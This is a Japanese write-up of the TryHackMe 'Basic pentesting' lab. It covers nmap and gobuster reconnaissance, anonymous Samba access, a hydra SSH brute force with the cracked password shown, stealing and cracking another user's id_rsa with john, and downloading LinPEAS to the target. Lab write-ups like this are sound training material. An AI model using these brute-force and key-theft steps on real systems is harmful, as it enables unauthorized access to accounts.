📝

TryHackMe - Basic pentesting

に公開

とりあえずnmapでポートスキャン

  • -sVでバージョン検出
  • -OでOS検出
  • -T4で高速化
  • -PnでICMPパケットを省略
$ nmap -sV -O -T4 10.10.106.100

Webサイトの隠しディレクトリを探す。
今回はgobusterを使用。
gobusterはdirbやdirbusterに比べて動作が早いらしい。

$ gobuster dir -u http://10.10.106.100/ -w /usr/share/seclists/Discovery/Web-Content/common.txt

http[:]//10.10.106.100/development/ を発見。
アクセスするとj.txtとdev.txtを発見。
j.txtによるとJさんがハッシュクラッキングしやすいパスワードを使っているとのこと。

sambaも確認する。
まずは利用可能な共有フォルダを確認。

$ smbclient -L 10.10.106.100

AnonymousというDiskが共有されているためアクセスしてみる。
Usernameをとりあえずanonとしておく。

$ smbclient  //10.10.106.100/Anonymous -U anon

パスワード無しでログイン成功。
dirコマンドでディレクトリを見るとstaff.txtを発見。
これをgetでダウンロード。
中身を見るとJanさんとKayさんという二人の名前が分かる。

Jさん=Janのパスワードが脆弱なのでBrute ForceによるSSHログインを狙う。
今回はhydraを使用。

  • -lでユーザ名
  • -Pでワードリスト
  • -t 4でスレッド並列化
$ hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.10.106.100 -t 4
...
[22][ssh] host: 10.10.106.100   login: jan   password: armando

armandoというパスワードがヒット。
これを使用してSSHログインすることに成功。

kayのホームディレクトリにてpass.bakというファイルを発見。
権限の問題で読み出しはできず。

-rw------- 1 kay  kay    57 Apr 23  2018 pass.**bak**

.sshに権限設定をミスったid_rsaが置いてあるのでひとまずcatで出力して手元に。
これを使用してkayとしてのログインを試みたところパスフレーズを求められた。
パスフレーズを入れない場合はパスワードによってログインできるようだがパスワード不明。

id_rsaに対してjohn the ripperでクラックを試みる。

ssh2john id_rsa > hash.txt
john --wordlist /usr/share/wordlist/rockyou.txt ./hash.txt

クラックできたパスフレーズを使えばKayとしてSSHログインでき、Kayのホームディレクトリにあるpass.bakを確認できる。

johnの待ち時間に他の権限昇格方法がないかLinPEASで探索する。
https://github.com/peass-ng/PEASS-ng/releases/tag/20250701-bdcab634 に置いてあるものを持ち込んで実行。
リモートでwgetを使いたかったが失敗したのでscpで転送。

// 失敗
wget https://github.com/peass-ng/PEASS-ng/releases/download/20250701-bdcab634/linpeas.sh

// 成功
$ scp ./linpeas.sh jan@10.10.106.100:/tmp

linpeasをリモートで実行するとid_rsaやらpasswordやらの情報が出てくる。

sh /tmp/linpeas.sh

nmapを行う際にはICMPを用いて疎通確認を行うらしい。
このときホストがICMPをブロックしているとPingが返ってこなくてスキャンをやめてしまうため、-Pnをオプションとしてつけるといいとのこと。

http:]//10.10.106.100/development/ のような形でディレクトリにアクセスされた際に、Webサーバがディレクトリに存在するファイルを一覧表示する機能をディレクトリリスティングという。
サーバの設定でオフにも出来る。

SambaはSMB等の機能をLinuxから使用するための互換ソフト。
SMB(Server Message Block)はLAN上でファイル共有やプリンタへのアクセスなどを行うプロトコル。

linPEAS(Linux Privilege Escalation Awesome Script)はLinuxにて権限昇格方法がないか調べるスクリプト。

Discussion